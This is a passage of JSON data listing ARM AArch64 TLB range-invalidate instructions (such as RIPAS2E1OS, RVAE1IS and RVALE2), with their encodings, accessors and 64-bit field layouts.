"BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RIPAS2E1OS", "fullname": "TLB Range Invalidate by Intermediate Physical Address, Stage 2, EL1, Outer Shareable", "enc": [1, 4, 8, 4, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RIPAS2E1OSNXS", "fullname": "TLB Range Invalidate by Intermediate Physical Address, Stage 2, EL1, Outer Shareable", "enc": [1, 4, 9, 4, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RIPAS2E1", "fullname": "TLB Range Invalidate by Intermediate Physical Address, Stage 2, EL1", "enc": [1, 4, 8, 4, 2], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RIPAS2E1NXS", "fullname": "TLB Range Invalidate by Intermediate Physical Address, Stage 2, EL1", "enc": [1, 4, 9, 4, 2], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RIPAS2LE1IS", "fullname": "TLB Range Invalidate by Intermediate Physical Address, Stage 2, Last level, EL1, Inner Shareable", "enc": [1, 4, 8, 0, 6], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RIPAS2LE1ISNXS", "fullname": "TLB Range Invalidate by Intermediate Physical Address, Stage 2, Last level, EL1, Inner Shareable", "enc": [1, 4, 9, 0, 6], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RIPAS2LE1OS", "fullname": "TLB Range Invalidate by Intermediate Physical Address, Stage 2, Last level, EL1, Outer Shareable", "enc": [1, 4, 8, 4, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RIPAS2LE1OSNXS", "fullname": "TLB Range Invalidate by Intermediate Physical Address, Stage 2, Last level, EL1, Outer Shareable", "enc": [1, 4, 9, 4, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RIPAS2LE1", "fullname": "TLB Range Invalidate by Intermediate Physical Address, Stage 2, Last level, EL1", "enc": [1, 4, 8, 4, 6], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RIPAS2LE1NXS", "fullname": "TLB Range Invalidate by Intermediate Physical Address, Stage 2, Last level, EL1", "enc": [1, 4, 9, 4, 6], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "NS", "msb": 63, "lsb": 63}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAAE1IS", "fullname": "TLB Range Invalidate by VA, All ASID, EL1, Inner Shareable", "enc": [1, 0, 8, 2, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAAE1ISNXS", "fullname": "TLB Range Invalidate by VA, All ASID, EL1, Inner Shareable", "enc": [1, 0, 9, 2, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAAE1OS", "fullname": "TLB Range Invalidate by VA, All ASID, EL1, Outer Shareable", "enc": [1, 0, 8, 5, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAAE1OSNXS", "fullname": "TLB Range Invalidate by VA, All ASID, EL1, Outer Shareable", "enc": [1, 0, 9, 5, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAAE1", "fullname": "TLB Range Invalidate by VA, All ASID, EL1", "enc": [1, 0, 8, 6, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAAE1NXS", "fullname": "TLB Range Invalidate by VA, All ASID, EL1", "enc": [1, 0, 9, 6, 3], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAALE1IS", "fullname": "TLB Range Invalidate by VA, All ASID, Last Level, EL1, Inner Shareable", "enc": [1, 0, 8, 2, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAALE1ISNXS", "fullname": "TLB Range Invalidate by VA, All ASID, Last Level, EL1, Inner Shareable", "enc": [1, 0, 9, 2, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAALE1OS", "fullname": "TLB Range Invalidate by VA, All ASID, Last Level, EL1, Outer Shareable", "enc": [1, 0, 8, 5, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAALE1OSNXS", "fullname": "TLB Range Invalidate by VA, All ASID, Last Level, EL1, Outer Shareable", "enc": [1, 0, 9, 5, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAALE1", "fullname": "TLB Range Invalidate by VA, All ASID, Last level, EL1", "enc": [1, 0, 8, 6, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAALE1NXS", "fullname": "TLB Range Invalidate by VA, All ASID, Last level, EL1", "enc": [1, 0, 9, 6, 7], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE1IS", "fullname": "TLB Range Invalidate by VA, EL1, Inner Shareable", "enc": [1, 0, 8, 2, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE1ISNXS", "fullname": "TLB Range Invalidate by VA, EL1, Inner Shareable", "enc": [1, 0, 9, 2, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE1OS", "fullname": "TLB Range Invalidate by VA, EL1, Outer Shareable", "enc": [1, 0, 8, 5, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE1OSNXS", "fullname": "TLB Range Invalidate by VA, EL1, Outer Shareable", "enc": [1, 0, 9, 5, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE1", "fullname": "TLB Range Invalidate by VA, EL1", "enc": [1, 0, 8, 6, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE1NXS", "fullname": "TLB Range Invalidate by VA, EL1", "enc": [1, 0, 9, 6, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE2IS", "fullname": "TLB Range Invalidate by VA, EL2, Inner Shareable", "enc": [1, 4, 8, 2, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE2ISNXS", "fullname": "TLB Range Invalidate by VA, EL2, Inner Shareable", "enc": [1, 4, 9, 2, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE2OS", "fullname": "TLB Range Invalidate by VA, EL2, Outer Shareable", "enc": [1, 4, 8, 5, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE2OSNXS", "fullname": "TLB Range Invalidate by VA, EL2, Outer Shareable", "enc": [1, 4, 9, 5, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE2", "fullname": "TLB Range Invalidate by VA, EL2", "enc": [1, 4, 8, 6, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE2NXS", "fullname": "TLB Range Invalidate by VA, EL2", "enc": [1, 4, 9, 6, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE3IS", "fullname": "TLB Range Invalidate by VA, EL3, Inner Shareable", "enc": [1, 6, 8, 2, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE3ISNXS", "fullname": "TLB Range Invalidate by VA, EL3, Inner Shareable", "enc": [1, 6, 9, 2, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE3OS", "fullname": "TLB Range Invalidate by VA, EL3, Outer Shareable", "enc": [1, 6, 8, 5, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE3OSNXS", "fullname": "TLB Range Invalidate by VA, EL3, Outer Shareable", "enc": [1, 6, 9, 5, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE3", "fullname": "TLB Range Invalidate by VA, EL3", "enc": [1, 6, 8, 6, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVAE3NXS", "fullname": "TLB Range Invalidate by VA, EL3", "enc": [1, 6, 9, 6, 1], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE1IS", "fullname": "TLB Range Invalidate by VA, Last level, EL1, Inner Shareable", "enc": [1, 0, 8, 2, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE1ISNXS", "fullname": "TLB Range Invalidate by VA, Last level, EL1, Inner Shareable", "enc": [1, 0, 9, 2, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE1OS", "fullname": "TLB Range Invalidate by VA, Last level, EL1, Outer Shareable", "enc": [1, 0, 8, 5, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE1OSNXS", "fullname": "TLB Range Invalidate by VA, Last level, EL1, Outer Shareable", "enc": [1, 0, 9, 5, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE1", "fullname": "TLB Range Invalidate by VA, Last level, EL1", "enc": [1, 0, 8, 6, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE1NXS", "fullname": "TLB Range Invalidate by VA, Last level, EL1", "enc": [1, 0, 9, 6, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE2IS", "fullname": "TLB Range Invalidate by VA, Last level, EL2, Inner Shareable", "enc": [1, 4, 8, 2, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE2ISNXS", "fullname": "TLB Range Invalidate by VA, Last level, EL2, Inner Shareable", "enc": [1, 4, 9, 2, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE2OS", "fullname": "TLB Range Invalidate by VA, Last level, EL2, Outer Shareable", "enc": [1, 4, 8, 5, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE2OSNXS", "fullname": "TLB Range Invalidate by VA, Last level, EL2, Outer Shareable", "enc": [1, 4, 9, 5, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE2", "fullname": "TLB Range Invalidate by VA, Last level, EL2", "enc": [1, 4, 8, 6, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE2NXS", "fullname": "TLB Range Invalidate by VA, Last level, EL2", "enc": [1, 4, 9, 6, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "ASID", "msb": 63, "lsb": 48}, {"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 0}]}], "width": 64}, {"index": 0, "name": "RVALE3IS", "fullname": "TLB Range Invalidate by VA, Last level, EL3, Inner Shareable", "enc": [1, 6, 8, 2, 5], "accessors": ["TLBI"], "fieldsets": [{"fields": [{"name": "TG", "msb": 47, "lsb": 46}, {"name": "SCALE", "msb": 45, "lsb": 44}, {"name": "NUM", "msb": 43, "lsb": 39}, {"name": "TTL", "msb": 38, "lsb": 37}, {"name": "BaseADDR", "msb": 36, "lsb": 0}, {"name": "BaseADDR", "msb": 36, "lsb": 